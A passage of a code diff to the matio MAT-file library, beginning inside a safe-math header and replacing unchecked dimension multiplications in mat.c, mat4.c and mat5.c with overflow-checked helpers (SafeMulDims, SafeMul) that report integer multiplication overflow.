+# define psnip_uint16_t unsigned char
+# elif defined(USHRT_MAX) && (USHRT_MAX == 65535)
+# define psnip_uint16_t unsigned short
+# elif defined(UINT_MAX) && (UINT_MAX == 65535)
+# define psnip_uint16_t unsigned int
+# elif defined(ULONG_MAX) && (ULONG_MAX == 65535)
+# define psnip_uint16_t unsigned long
+# elif defined(ULLONG_MAX) && (ULLONG_MAX == 65535)
+# define psnip_uint16_t unsigned long long
+# else
+# error Unable to locate 16-bit unsigned integer type.
+# endif
+# endif
+# if !defined(psnip_int32_t)
+# if defined(CHAR_MIN) && defined(CHAR_MAX) && (CHAR_MIN == (-2147483647-1)) && (CHAR_MAX == 2147483647)
+# define psnip_int32_t char
+# elif defined(SHRT_MIN) && defined(SHRT_MAX) && (SHRT_MIN == (-2147483647-1)) && (SHRT_MAX == 2147483647)
+# define psnip_int32_t short
+# elif defined(INT_MIN) && defined(INT_MAX) && (INT_MIN == (-2147483647-1)) && (INT_MAX == 2147483647)
+# define psnip_int32_t int
+# elif defined(LONG_MIN) && defined(LONG_MAX) && (LONG_MIN == (-2147483647-1)) && (LONG_MAX == 2147483647)
+# define psnip_int32_t long
+# elif defined(LLONG_MIN) && defined(LLONG_MAX) && (LLONG_MIN == (-2147483647-1)) && (LLONG_MAX == 2147483647)
+# define psnip_int32_t long long
+# else
+# error Unable to locate 32-bit signed integer type.
+# endif
+# endif
+# if !defined(psnip_uint32_t)
+# if defined(UCHAR_MAX) && (UCHAR_MAX == 4294967295)
+# define psnip_uint32_t unsigned char
+# elif defined(USHRT_MAX) && (USHRT_MAX == 4294967295)
+# define psnip_uint32_t unsigned short
+# elif defined(UINT_MAX) && (UINT_MAX == 4294967295)
+# define psnip_uint32_t unsigned int
+# elif defined(ULONG_MAX) && (ULONG_MAX == 4294967295)
+# define psnip_uint32_t unsigned long
+# elif defined(ULLONG_MAX) && (ULLONG_MAX == 4294967295)
+# define psnip_uint32_t unsigned long long
+# else
+# error Unable to locate 32-bit unsigned integer type.
+# endif
+# endif
+# if !defined(psnip_int64_t)
+# if defined(CHAR_MIN) && defined(CHAR_MAX) && (CHAR_MIN == (-9223372036854775807LL-1)) && (CHAR_MAX == 9223372036854775807LL)
+# define psnip_int64_t char
+# elif defined(SHRT_MIN) && defined(SHRT_MAX) && (SHRT_MIN == (-9223372036854775807LL-1)) && (SHRT_MAX == 9223372036854775807LL)
+# define psnip_int64_t short
+# elif defined(INT_MIN) && defined(INT_MAX) && (INT_MIN == (-9223372036854775807LL-1)) && (INT_MAX == 9223372036854775807LL)
+# define psnip_int64_t int
+# elif defined(LONG_MIN) && defined(LONG_MAX) && (LONG_MIN == (-9223372036854775807LL-1)) && (LONG_MAX == 9223372036854775807LL)
+# define psnip_int64_t long
+# elif defined(LLONG_MIN) && defined(LLONG_MAX) && (LLONG_MIN == (-9223372036854775807LL-1)) && (LLONG_MAX == 9223372036854775807LL)
+# define psnip_int64_t long long
+# else
+# error Unable to locate 64-bit signed integer type.
+# endif
+# endif
+# if !defined(psnip_uint64_t)
+# if defined(UCHAR_MAX) && (UCHAR_MAX == 18446744073709551615ULL)
+# define psnip_uint64_t unsigned char
+# elif defined(USHRT_MAX) && (USHRT_MAX == 18446744073709551615ULL)
+# define psnip_uint64_t unsigned short
+# elif defined(UINT_MAX) && (UINT_MAX == 18446744073709551615ULL)
+# define psnip_uint64_t unsigned int
+# elif defined(ULONG_MAX) && (ULONG_MAX == 18446744073709551615ULL)
+# define psnip_uint64_t unsigned long
+# elif defined(ULLONG_MAX) && (ULLONG_MAX == 18446744073709551615ULL)
+# define psnip_uint64_t unsigned long long
+# else
+# error Unable to locate 64-bit unsigned integer type.
+# endif
+# endif
+# endif
+#endif
diff --git a/src/mat.c b/src/mat.c
index 1aba5228..291d9429 100644
--- a/src/mat.c
+++ b/src/mat.c
@@ -29,6 +29,7 @@
*/
/* FIXME: Implement Unicode support */
+#include "safe-math.h"
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
@@ -198,6 +199,46 @@ ClassType2DataType(enum matio_classes class_type)
}
}
+/** @brief Gets number of elements from a variable
+ *
+ * Gets number of elements from a variable by overflow-safe
+ * multiplication
+ * @ingroup MAT
+ * @param matvar MAT variable information
+ * @param nelems Number of elements
+ * @retval 0 on success
+ */
+int SafeMulDims(const matvar_t *matvar, size_t* nelems)
+{
+ int i;
+
+ for ( i = 0; i < matvar->rank; i++ ) {
+ if ( !psnip_safe_size_mul(nelems, *nelems, matvar->dims[i]) ) {
+ *nelems = 0;
+ return 1;
+ }
+ }
+
+ return 0;
+}
+
+/** @brief Multiplies two unsigned integers
+ *
+ * @param res Result
+ * @param a First operand
+ * @param b Second operand
+ * @retval 0 on success
+ */
+int SafeMul(size_t* res, size_t a, size_t b)
+{
+ if ( !psnip_safe_size_mul(res, a, b) ) {
+ *res = 0;
+ return 1;
+ }
+
+ return 0;
+}
+
/*
*===================================================================
* Public Functions
@@ -796,7 +837,7 @@ matvar_t *
Mat_VarCreate(const char *name,enum matio_classes class_type,
enum matio_types data_type,int rank,size_t *dims,void *data,int opt)
{
- size_t nmemb = 1, data_size;
+ size_t nelems = 1, data_size;
matvar_t *matvar = NULL;
int j;
@@ -817,7 +858,7 @@ Mat_VarCreate(const char *name,enum matio_classes class_type,
matvar->dims = (size_t*)malloc(matvar->rank*sizeof(*matvar->dims));
for ( j = 0; j < matvar->rank; j++ ) {
matvar->dims[j] = dims[j];
- nmemb *= dims[j];
+ nelems *= dims[j];
}
matvar->class_type = class_type;
matvar->data_type = data_type;
@@ -872,8 +913,8 @@ Mat_VarCreate(const char *name,enum matio_classes class_type,
size_t nfields = 0;
while ( fields[nfields] != NULL )
nfields++;
- if ( nmemb )
- nfields /= nmemb;
+ if ( nelems )
+ nfields /= nelems;
matvar->internal->num_fields = nfields;
if ( nfields ) {
size_t i;
@@ -881,7 +922,7 @@ Mat_VarCreate(const char *name,enum matio_classes class_type,
(char**)calloc(nfields,sizeof(*matvar->internal->fieldnames));
for ( i = 0; i < nfields; i++ )
matvar->internal->fieldnames[i] = strdup(fields[i]->name);
- nmemb *= nfields;
+ SafeMul(&nelems, nelems, nfields);
}
}
break;
@@ -896,11 +937,11 @@ Mat_VarCreate(const char *name,enum matio_classes class_type,
matvar->nbytes = matvar->data_size;
} else {
matvar->data_size = data_size;
- matvar->nbytes = nmemb*matvar->data_size;
+ SafeMul(&matvar->nbytes, nelems, matvar->data_size);
}
if ( data == NULL ) {
- if ( MAT_C_CELL == matvar->class_type && nmemb > 0 )
- matvar->data = calloc(nmemb,sizeof(matvar_t*));
+ if ( MAT_C_CELL == matvar->class_type && nelems > 0 )
+ matvar->data = calloc(nelems,sizeof(matvar_t*));
else
matvar->data = NULL;
} else if ( opt & MAT_F_DONT_COPY_DATA ) {
@@ -1288,10 +1329,10 @@ Mat_VarDuplicate(const matvar_t *in, int opt)
} else if ( (in->data != NULL) && (in->class_type == MAT_C_CELL) ) {
out->data = malloc(in->nbytes);
if ( out->data != NULL && in->data_size > 0 ) {
- size_t ncells = in->nbytes / in->data_size;
+ size_t nelems = in->nbytes / in->data_size;
matvar_t **incells = (matvar_t **)in->data;
matvar_t **outcells = (matvar_t **)out->data;
- for ( i = 0; i < ncells; i++ ) {
+ for ( i = 0; i < nelems; i++ ) {
outcells[i] = Mat_VarDuplicate(incells[i],opt);
}
}
@@ -1363,15 +1404,13 @@ Mat_VarDuplicate(const matvar_t *in, int opt)
void
Mat_VarFree(matvar_t *matvar)
{
- size_t nmemb = 0;
+ size_t nelems = 0;
if ( NULL == matvar )
return;
if ( NULL != matvar->dims ) {
- int j;
- nmemb = 1;
- for ( j = 0; j < matvar->rank; j++ )
- nmemb *= matvar->dims[j];
+ nelems = 1;
+ SafeMulDims(matvar, &nelems);
free(matvar->dims);
}
if ( NULL != matvar->data ) {
@@ -1379,8 +1418,9 @@ Mat_VarFree(matvar_t *matvar)
case MAT_C_STRUCT:
if ( !matvar->mem_conserve ) {
matvar_t **fields = (matvar_t**)matvar->data;
- size_t nfields = matvar->internal->num_fields, i;
- for ( i = 0; i < nmemb*nfields; i++ )
+ size_t nelems_x_nfields, i;
+ SafeMul(&nelems_x_nfields, nelems, matvar->internal->num_fields);
+ for ( i = 0; i < nelems_x_nfields; i++ )
Mat_VarFree(fields[i]);
free(matvar->data);
@@ -1390,7 +1430,7 @@ Mat_VarFree(matvar_t *matvar)
if ( !matvar->mem_conserve ) {
matvar_t **cells = (matvar_t**)matvar->data;
size_t i;
- for ( i = 0; i < nmemb; i++ )
+ for ( i = 0; i < nelems; i++ )
Mat_VarFree(cells[i]);
free(matvar->data);
@@ -1714,32 +1754,27 @@ Mat_VarGetSize(matvar_t *matvar)
#endif
if ( matvar->class_type == MAT_C_STRUCT ) {
- int nfields = matvar->internal->num_fields;
- size_t nmemb = 1;
- int j;
- for ( j = 0; j < matvar->rank; j++ )
- nmemb *= matvar->dims[j];
- if ( nmemb*nfields > 0 ) {
- matvar_t **fields = (matvar_t**)matvar->data;
- if ( NULL != fields ) {
- bytes = nmemb*nfields*overhead;
- for ( i = 0; i < nmemb*nfields; i++ ) {
- if ( NULL != fields[i] ) {
- if ( MAT_C_EMPTY != fields[i]->class_type )
- bytes += Mat_VarGetSize(fields[i]);
- else
- bytes += ptr - overhead;
- }
+ matvar_t **fields = (matvar_t**)matvar->data;
+ if ( NULL != fields ) {
+ size_t nelems_x_nfields = matvar->internal->num_fields;
+ SafeMulDims(matvar, &nelems_x_nfields);
+ SafeMul(&bytes, nelems_x_nfields, overhead);
+ for ( i = 0; i < nelems_x_nfields; i++ ) {
+ if ( NULL != fields[i] ) {
+ if ( MAT_C_EMPTY != fields[i]->class_type )
+ bytes += Mat_VarGetSize(fields[i]);
+ else
+ bytes += ptr - overhead;
}
}
}
- bytes += 64 /* max field name length */ *nfields;
+ bytes += 64 /* max field name length */ *matvar->internal->num_fields;
} else if ( matvar->class_type == MAT_C_CELL ) {
matvar_t **cells = (matvar_t**)matvar->data;
if ( NULL != cells ) {
- size_t ncells = matvar->nbytes / matvar->data_size;
- bytes = ncells*overhead;
- for ( i = 0; i < ncells; i++ ) {
+ size_t nelems = matvar->nbytes / matvar->data_size;
+ bytes = nelems*overhead;
+ for ( i = 0; i < nelems; i++ ) {
if ( NULL != cells[i] ) {
if ( MAT_C_EMPTY != cells[i]->class_type )
bytes += Mat_VarGetSize(cells[i]);
@@ -1766,11 +1801,8 @@ Mat_VarGetSize(matvar_t *matvar)
}
} else {
if ( matvar->rank > 0 ) {
- size_t nmemb = 1;
- int j;
- for ( j = 0; j < matvar->rank; j++ )
- nmemb *= matvar->dims[j];
- bytes = nmemb*Mat_SizeOfClass(matvar->class_type);
+ bytes = Mat_SizeOfClass(matvar->class_type);
+ SafeMulDims(matvar, &bytes);
if ( matvar->isComplex )
bytes *= 2;
}
@@ -1789,7 +1821,7 @@ Mat_VarGetSize(matvar_t *matvar)
void
Mat_VarPrint( matvar_t *matvar, int printdata )
{
- size_t nmemb = 0, i, j;
+ size_t nelems = 0, i, j;
const char *class_type_desc[18] = {"Undefined","Cell Array","Structure",
"Object","Character Array","Sparse Array","Double Precision Array",
"Single Precision Array", "8-bit, signed integer array",
@@ -1807,11 +1839,11 @@ Mat_VarPrint( matvar_t *matvar, int printdata )
return;
if ( NULL != matvar->dims ) {
int k;
+ nelems = 1;
+ SafeMulDims(matvar, &nelems);
printf("Dimensions: %" SIZE_T_FMTSTR,matvar->dims[0]);
- nmemb = matvar->dims[0];
for ( k = 1; k < matvar->rank; k++ ) {
printf(" x %" SIZE_T_FMTSTR,matvar->dims[k]);
- nmemb *= matvar->dims[k];
}
printf("\n");
}
@@ -1838,9 +1870,11 @@ Mat_VarPrint( matvar_t *matvar, int printdata )
if ( MAT_C_STRUCT == matvar->class_type ) {
matvar_t **fields = (matvar_t **)matvar->data;
size_t nfields = matvar->internal->num_fields;
- if ( nmemb*nfields > 0 ) {
- printf("Fields[%" SIZE_T_FMTSTR "] {\n", nfields*nmemb);
- for ( i = 0; i < nfields*nmemb; i++ ) {
+ size_t nelems_x_nfields = 1;
+ SafeMul(&nelems_x_nfields, nelems, nfields);
+ if ( nelems_x_nfields > 0 ) {
+ printf("Fields[%" SIZE_T_FMTSTR "] {\n", nelems_x_nfields);
+ for ( i = 0; i < nelems_x_nfields; i++ ) {
if ( NULL == fields[i] ) {
printf(" Name: %s\n Rank: %d\n",
matvar->internal->fieldnames[i%nfields],0);
@@ -1863,9 +1897,9 @@ Mat_VarPrint( matvar_t *matvar, int printdata )
return;
} else if ( MAT_C_CELL == matvar->class_type ) {
matvar_t **cells = (matvar_t **)matvar->data;
- size_t ncells = matvar->nbytes / matvar->data_size;
+ nelems = matvar->nbytes / matvar->data_size;
printf("{\n");
- for ( i = 0; i < ncells; i++ )
+ for ( i = 0; i < nelems; i++ )
Mat_VarPrint(cells[i],printdata);
printf("}\n");
return;
diff --git a/src/mat4.c b/src/mat4.c
index fc3025b5..24765724 100644
--- a/src/mat4.c
+++ b/src/mat4.c
@@ -106,7 +106,7 @@ Mat_VarWrite4(mat_t *mat,matvar_t *matvar)
mat_int32_t namelen;
} Fmatrix;
- mat_int32_t nmemb = 1, i;
+ mat_int32_t nelems = 1, i;
Fmatrix x;
if ( NULL == mat || NULL == matvar || NULL == matvar->name || matvar->rank != 2 )
@@ -174,7 +174,7 @@ Mat_VarWrite4(mat_t *mat,matvar_t *matvar)
for ( i = 0; i < matvar->rank; i++ ) {
mat_int32_t dim;
dim = (mat_int32_t)matvar->dims[i];
- nmemb *= dim;
+ nelems *= dim;
}
x.mrows = (mat_int32_t)matvar->dims[0];
@@ -186,11 +186,11 @@ Mat_VarWrite4(mat_t *mat,matvar_t *matvar)
mat_complex_split_t *complex_data;
complex_data = (mat_complex_split_t*)matvar->data;
- fwrite(complex_data->Re, matvar->data_size, nmemb, (FILE*)mat->fp);
- fwrite(complex_data->Im, matvar->data_size, nmemb, (FILE*)mat->fp);
+ fwrite(complex_data->Re, matvar->data_size, nelems, (FILE*)mat->fp);
+ fwrite(complex_data->Im, matvar->data_size, nelems, (FILE*)mat->fp);
}
else {
- fwrite(matvar->data, matvar->data_size, nmemb, (FILE*)mat->fp);
+ fwrite(matvar->data, matvar->data_size, nelems, (FILE*)mat->fp);
}
break;
case MAT_C_SPARSE:
@@ -282,21 +282,21 @@ Mat_VarWrite4(mat_t *mat,matvar_t *matvar)
void
Mat_VarRead4(mat_t *mat,matvar_t *matvar)
{
- size_t N;
+ size_t nelems = 1;
+ SafeMulDims(matvar, &nelems);
(void)fseek((FILE*)mat->fp,matvar->internal->datapos,SEEK_SET);
- N = matvar->dims[0]*matvar->dims[1];
switch ( matvar->class_type ) {
case MAT_C_DOUBLE:
matvar->data_size = sizeof(double);
- matvar->nbytes = N*matvar->data_size;
+ SafeMul(&matvar->nbytes, nelems, matvar->data_size);
if ( matvar->isComplex ) {
mat_complex_split_t *complex_data = ComplexMalloc(matvar->nbytes);
if ( NULL != complex_data ) {
matvar->data = complex_data;
- ReadDoubleData(mat, (double*)complex_data->Re, matvar->data_type, N);
- ReadDoubleData(mat, (double*)complex_data->Im, matvar->data_type, N);
+ ReadDoubleData(mat, (double*)complex_data->Re, matvar->data_type, nelems);
+ ReadDoubleData(mat, (double*)complex_data->Im, matvar->data_type, nelems);
}
else {
Mat_Critical("Couldn't allocate memory for the complex data");
@@ -304,7 +304,7 @@ Mat_VarRead4(mat_t *mat,matvar_t *matvar)
} else {
matvar->data = malloc(matvar->nbytes);
if ( NULL != matvar->data ) {
- ReadDoubleData(mat, (double*)matvar->data, matvar->data_type, N);
+ ReadDoubleData(mat, (double*)matvar->data, matvar->data_type, nelems);
}
else {
Mat_Critical("Couldn't allocate memory for the data");
@@ -315,10 +315,10 @@ Mat_VarRead4(mat_t *mat,matvar_t *matvar)
break;
case MAT_C_CHAR:
matvar->data_size = 1;
- matvar->nbytes = N;
+ matvar->nbytes = nelems;
matvar->data = malloc(matvar->nbytes);
if ( NULL != matvar->data ) {
- ReadUInt8Data(mat,(mat_uint8_t*)matvar->data,matvar->data_type,N);
+ ReadUInt8Data(mat, (mat_uint8_t*)matvar->data, matvar->data_type, nelems);
}
else {
Mat_Critical("Couldn't allocate memory for the data");
@@ -643,7 +643,8 @@ Mat_VarReadData4(mat_t *mat,matvar_t *matvar,void *data,
err = 1;
if ( matvar->isComplex ) {
mat_complex_split_t *cdata = (mat_complex_split_t*)data;
- long nbytes = matvar->dims[0]*matvar->dims[1]*Mat_SizeOf(matvar->data_type);
+ size_t nbytes = Mat_SizeOf(matvar->data_type);
+ SafeMulDims(matvar, &nbytes);
ReadDataSlab2(mat,cdata->Re,matvar->class_type,matvar->data_type,
matvar->dims,start,stride,edge);
@@ -655,12 +656,9 @@ Mat_VarReadData4(mat_t *mat,matvar_t *matvar,void *data,
matvar->dims,start,stride,edge);
}
} else if ( matvar->isComplex ) {
- int i;
mat_complex_split_t *cdata = (mat_complex_split_t*)data;
- long nbytes = Mat_SizeOf(matvar->data_type);
-
- for ( i = 0; i < matvar->rank; i++ )
- nbytes *= matvar->dims[i];
+ size_t nbytes = Mat_SizeOf(matvar->data_type);
+ SafeMulDims(matvar, &nbytes);
ReadDataSlabN(mat,cdata->Re,matvar->class_type,matvar->data_type,
matvar->rank,matvar->dims,start,stride,edge);
@@ -692,22 +690,20 @@ int
Mat_VarReadDataLinear4(mat_t *mat,matvar_t *matvar,void *data,int start,
int stride,int edge)
{
- size_t nmemb = 1;
- int err = 0, i;
+ int err = 0;
+ size_t nelems = 1;
+ err = SafeMulDims(matvar, &nelems);
(void)fseek((FILE*)mat->fp,matvar->internal->datapos,SEEK_SET);
matvar->data_size = Mat_SizeOf(matvar->data_type);
- for ( i = 0; i < matvar->rank; i++ )
- nmemb *= matvar->dims[i];
-
- if ( (size_t)stride*(edge-1)+start+1 > nmemb ) {
+ if ( (size_t)stride*(edge-1)+start+1 > nelems ) {
return 1;
}
if ( matvar->isComplex ) {
mat_complex_split_t *complex_data = (mat_complex_split_t*)data;
- long nbytes = nmemb*matvar->data_size;
+ long nbytes = nelems*matvar->data_size;
ReadDataSlab1(mat,complex_data->Re,matvar->class_type,
matvar->data_type,start,stride,edge);
@@ -890,9 +886,13 @@ Mat_VarReadNextInfo4(mat_t *mat)
Mat_Critical("Couldn't determine file position");
return NULL;
}
- nBytes = matvar->dims[0]*matvar->dims[1]*Mat_SizeOf(matvar->data_type);
- if ( matvar->isComplex )
- nBytes *= 2;
+ {
+ size_t tmp2 = Mat_SizeOf(matvar->data_type);
+ if ( matvar->isComplex )
+ tmp2 *= 2;
+ SafeMulDims(matvar, &tmp2);
+ nBytes = (long)tmp2;
+ }
(void)fseek((FILE*)mat->fp,nBytes,SEEK_CUR);
return matvar;
diff --git a/src/mat5.c b/src/mat5.c
index acbfbc43..07d12dca 100644
--- a/src/mat5.c
+++ b/src/mat5.c
@@ -103,12 +103,12 @@ static size_t
GetTypeBufSize(matvar_t *matvar)
{
size_t nBytes = 0, data_bytes;
- size_t tag_size = 8, nmemb = 1;
- int j;
+ size_t tag_size = 8;
+ size_t nelems = 1;
+
+ SafeMulDims(matvar, &nelems);
/* Add rank and dimensions, padded to an 8 byte block */
- for ( j = 0; j < matvar->rank; j++ )
- nmemb *= matvar->dims[j];
if ( matvar->rank % 2 )
nBytes += tag_size + matvar->rank*4 + 4;
else
@@ -134,7 +134,9 @@ GetTypeBufSize(matvar_t *matvar)
/* FIXME: Add bytes for the fieldnames */
if ( NULL != fields && nfields > 0 ) {
- for ( i = 0; i < nfields*nmemb; i++ )
+ size_t nelems_x_nfields = 1;
+ SafeMul(&nelems_x_nfields, nelems, nfields);
+ for ( i = 0; i < nelems_x_nfields; i++ )
nBytes += tag_size + GetStructFieldBufSize(fields[i]);
}
break;
@@ -142,15 +144,14 @@ GetTypeBufSize(matvar_t *matvar)
case MAT_C_CELL:
{
matvar_t **cells = (matvar_t**)matvar->data;
- size_t ncells;
if ( matvar->nbytes == 0 || matvar->data_size == 0 )
break;
- ncells = matvar->nbytes / matvar->data_size;
- if ( NULL != cells && ncells > 0 ) {
+ nelems = matvar->nbytes / matvar->data_size;
+ if ( NULL != cells && nelems > 0 ) {
size_t i;
- for ( i = 0; i < ncells; i++ )
+ for ( i = 0; i < nelems; i++ )
nBytes += tag_size + GetCellArrayFieldBufSize(cells[i]);
}
break;
@@ -159,17 +160,17 @@ GetTypeBufSize(matvar_t *matvar)
{
mat_sparse_t *sparse = (mat_sparse_t*)matvar->data;
- data_bytes = sparse->nir*sizeof(mat_int32_t);
+ SafeMul(&data_bytes, sparse->nir, sizeof(mat_int32_t));
if ( data_bytes % 8 )
data_bytes += (8 - (data_bytes % 8));
nBytes += tag_size + data_bytes;
- data_bytes = sparse->njc*sizeof(mat_int32_t);
+ SafeMul(&data_bytes, sparse->njc, sizeof(mat_int32_t));
if ( data_bytes % 8 )
data_bytes += (8 - (data_bytes % 8));
nBytes += tag_size + data_bytes;
- data_bytes = sparse->ndata*Mat_SizeOf(matvar->data_type);
+ SafeMul(&data_bytes, sparse->ndata, Mat_SizeOf(matvar->data_type));
if ( data_bytes % 8 )
data_bytes += (8 - (data_bytes % 8));
nBytes += tag_size + data_bytes;
@@ -182,9 +183,9 @@ GetTypeBufSize(matvar_t *matvar)
case MAT_C_CHAR:
if ( MAT_T_UINT8 == matvar->data_type ||
MAT_T_INT8 == matvar->data_type )
- data_bytes = nmemb*Mat_SizeOf(MAT_T_UINT16);
+ SafeMul(&data_bytes, nelems, Mat_SizeOf(MAT_T_UINT16));
else
- data_bytes = nmemb*Mat_SizeOf(matvar->data_type);
+ SafeMul(&data_bytes, nelems, Mat_SizeOf(matvar->data_type));
if ( data_bytes % 8 )
data_bytes += (8 - (data_bytes % 8));
nBytes += tag_size + data_bytes;
@@ -192,7 +193,7 @@ GetTypeBufSize(matvar_t *matvar)
nBytes += tag_size + data_bytes;
break;
default:
- data_bytes = nmemb*Mat_SizeOf(matvar->data_type);
+ SafeMul(&data_bytes, nelems, Mat_SizeOf(matvar->data_type));
if ( data_bytes % 8 )
data_bytes += (8 - (data_bytes % 8));
nBytes += tag_size + data_bytes;
@@ -690,15 +691,24 @@ WriteCompressedData(mat_t *mat,z_streamp z,void *data,int N,
static size_t
ReadNextCell( mat_t *mat, matvar_t *matvar )
{
- size_t bytesread = 0, ncells = 1, i;
- int j;
+ size_t bytesread = 0, i;
+ int err;
matvar_t **cells = NULL;
+ size_t nelems = 1;
- for ( j = 0; j < matvar->rank; j++ )
- ncells *= matvar->dims[j];
+ err = SafeMulDims(matvar, &nelems);
+ if ( err ) {
+ Mat_Critical("Integer multiplication overflow");
+ return bytesread;
+ }
matvar->data_size = sizeof(matvar_t *);
- matvar->nbytes = ncells*matvar->data_size;
- matvar->data = calloc(ncells, matvar->data_size);
+ err = SafeMul(&matvar->nbytes, nelems, matvar->data_size);
+ if ( err ) {
+ Mat_Critical("Integer multiplication overflow");
+ return bytesread;
+ }
+
+ matvar->data = calloc(nelems, matvar->data_size);
if ( NULL == matvar->data ) {
if ( NULL != matvar->name )
Mat_Critical("Couldn't allocate memory for %s->data", matvar->name);
@@ -711,9 +721,8 @@ ReadNextCell( mat_t *mat, matvar_t *matvar )
mat_uint32_t uncomp_buf[16] = {0,};
int nbytes;
mat_uint32_t array_flags;
- int err;
- for ( i = 0; i < ncells; i++ ) {
+ for ( i = 0; i < nelems; i++ ) {
cells[i] = Mat_VarCalloc();
if ( NULL == cells[i] ) {
Mat_Critical("Couldn't allocate memory for cell %" SIZE_T_FMTSTR, i);
@@ -780,6 +789,7 @@ ReadNextCell( mat_t *mat, matvar_t *matvar )
}
/* Rank and Dimension */
if ( uncomp_buf[0] == MAT_T_INT32 ) {
+ int j;
cells[i]->rank = uncomp_buf[1];
nbytes -= cells[i]->rank;
cells[i]->rank /= 4;
@@ -877,7 +887,7 @@ ReadNextCell( mat_t *mat, matvar_t *matvar )
int nBytes;
mat_uint32_t array_flags;
- for ( i = 0; i < ncells; i++ ) {
+ for ( i = 0; i < nelems; i++ ) {
int cell_bytes_read,name_len;
cells[i] = Mat_VarCalloc();
if ( !cells[i] ) {
@@ -986,19 +996,21 @@ static size_t
ReadNextStructField( mat_t *mat, matvar_t *matvar )
{
mat_uint32_t fieldname_size;
- int j;
- size_t bytesread = 0, nfields, nmemb = 1, i;
+ int err;
+ size_t bytesread = 0, nfields, i;
matvar_t **fields = NULL;
+ size_t nelems = 1, nelems_x_nfields;
- for ( j = 0; j < matvar->rank; j++ )
- nmemb *= matvar->dims[j];
-
+ err = SafeMulDims(matvar, &nelems);
+ if ( err ) {
+ Mat_Critical("Integer multiplication overflow");
+ return bytesread;
+ }
if ( matvar->compression == MAT_COMPRESSION_ZLIB ) {
#if defined(HAVE_ZLIB)
mat_uint32_t uncomp_buf[16] = {0,};
int nbytes;
mat_uint32_t array_flags;
- int err;
/* Inflate Field name length */
bytesread += InflateFieldNameLength(mat,matvar,uncomp_buf);
@@ -1048,25 +1060,34 @@ ReadNextStructField( mat_t *mat, matvar_t *matvar )
matvar->internal->fieldnames = NULL;
}
- matvar->nbytes = nmemb*nfields*matvar->data_size;
+ err = SafeMul(&nelems_x_nfields, nelems, nfields);
+ if ( err ) {
+ Mat_Critical("Integer multiplication overflow");
+ return bytesread;
+ }
+ err = SafeMul(&matvar->nbytes, nelems_x_nfields, matvar->data_size);
+ if ( err ) {
+ Mat_Critical("Integer multiplication overflow");
+ return bytesread;
+ }
if ( !matvar->nbytes )
return bytesread;
- matvar->data = calloc(nmemb*nfields, matvar->data_size);
+ matvar->data = calloc(nelems_x_nfields, matvar->data_size);
if ( NULL == matvar->data ) {
Mat_Critical("Couldn't allocate memory for the data");
return bytesread;
}
fields = (matvar_t**)matvar->data;
- for ( i = 0; i < nmemb; i++ ) {
+ for ( i = 0; i < nelems; i++ ) {
size_t k;
for ( k = 0; k < nfields; k++ ) {
fields[i*nfields+k] = Mat_VarCalloc();
}
}
if ( NULL != matvar->internal->fieldnames ) {
- for ( i = 0; i < nmemb; i++ ) {
+ for ( i = 0; i < nelems; i++ ) {
size_t k;
for ( k = 0; k < nfields; k++ ) {
if ( NULL != matvar->internal->fieldnames[k] ) {
@@ -1076,7 +1097,7 @@ ReadNextStructField( mat_t *mat, matvar_t *matvar )
}
}
- for ( i = 0; i < nmemb*nfields; i++ ) {
+ for ( i = 0; i < nelems_x_nfields; i++ ) {
/* Read variable tag for struct field */
bytesread += InflateVarTag(mat,matvar,uncomp_buf);
if ( mat->byteswap ) {
@@ -1135,7 +1156,7 @@ ReadNextStructField( mat_t *mat, matvar_t *matvar )
}
/* Rank and dimension */
if ( uncomp_buf[0] == MAT_T_INT32 ) {
- j = 0;
+ int j;
fields[i]->rank = uncomp_buf[1];
nbytes -= fields[i]->rank;
fields[i]->rank /= 4;
@@ -1244,7 +1265,16 @@ ReadNextStructField( mat_t *mat, matvar_t *matvar )
bytesread+=8-((nfields*fieldname_size) % 8);
}
- matvar->nbytes = nmemb*nfields*matvar->data_size;
+ err = SafeMul(&nelems_x_nfields, nelems, nfields);
+ if ( err ) {
+ Mat_Critical("Integer multiplication overflow");
+ return bytesread;
+ }
+ err = SafeMul(&matvar->nbytes, nelems_x_nfields, matvar->data_size);
+ if ( err ) {
+ Mat_Critical("Integer multiplication overflow");
+ return bytesread;
+ }
if ( !matvar->nbytes )
return bytesread;
@@ -1253,14 +1283,14 @@ ReadNextStructField( mat_t *mat, matvar_t *matvar )
return bytesread;
fields = (matvar_t**)matvar->data;
- for ( i = 0; i < nmemb; i++ ) {
+ for ( i = 0; i < nelems; i++ ) {
size_t k;
for ( k = 0; k < nfields; k++ ) {
fields[i*nfields+k] = Mat_VarCalloc();
}
}
if ( NULL != matvar->internal->fieldnames ) {
- for ( i = 0; i < nmemb; i++ ) {
+ for ( i = 0; i < nelems; i++ ) {
size_t k;
for ( k = 0; k < nfields; k++ ) {
if ( NULL != matvar->internal->fieldnames[k] ) {
@@ -1270,7 +1300,7 @@ ReadNextStructField( mat_t *mat, matvar_t *matvar )
}
}
- for ( i = 0; i < nmemb*nfields; i++ ) {
+ for ( i = 0; i < nelems_x_nfields; i++ ) {
/* Read variable tag for struct field */
bytesread += fread(buf,4,2,(FILE*)mat->fp);
if ( mat->byteswap ) {
@@ -1304,15 +1334,15 @@ ReadNextStructField( mat_t *mat, matvar_t *matvar )
nBytes-=24;
/* Array flags */
if ( buf[0] == MAT_T_UINT32 ) {
- array_flags = buf[2];
- fields[i]->class_type = CLASS_FROM_ARRAY_FLAGS(array_flags);
- fields[i]->isComplex = (array_flags & MAT_F_COMPLEX);
- fields[i]->isGlobal = (array_flags & MAT_F_GLOBAL);
- fields[i]->isLogical = (array_flags & MAT_F_LOGICAL);
- if ( fields[i]->class_type == MAT_C_SPARSE ) {
- /* Need to find a more appropriate place to store nzmax */
- fields[i]->nbytes = buf[3];
- }
+ array_flags = buf[2];
+ fields[i]->class_type = CLASS_FROM_ARRAY_FLAGS(array_flags);
+ fields[i]->isComplex = (array_flags & MAT_F_COMPLEX);
+ fields[i]->isGlobal = (array_flags & MAT_F_GLOBAL);
+ fields[i]->isLogical = (array_flags & MAT_F_LOGICAL);
+ if ( fields[i]->class_type == MAT_C_SPARSE ) {
+ /* Need to find a more appropriate place to store nzmax */
+ fields[i]->nbytes = buf[3];
+ }
}
/* Rank and dimension */
{
@@ -1349,27 +1379,23 @@ ReadNextStructField( mat_t *mat, matvar_t *matvar )
static size_t
ReadNextFunctionHandle(mat_t *mat, matvar_t *matvar)
{
- int j;
- size_t bytesread = 0, nfunctions = 1;
+ size_t nelems = 1;
- for ( j = 0; j < matvar->rank; j++ )
- nfunctions *= matvar->dims[j];
-
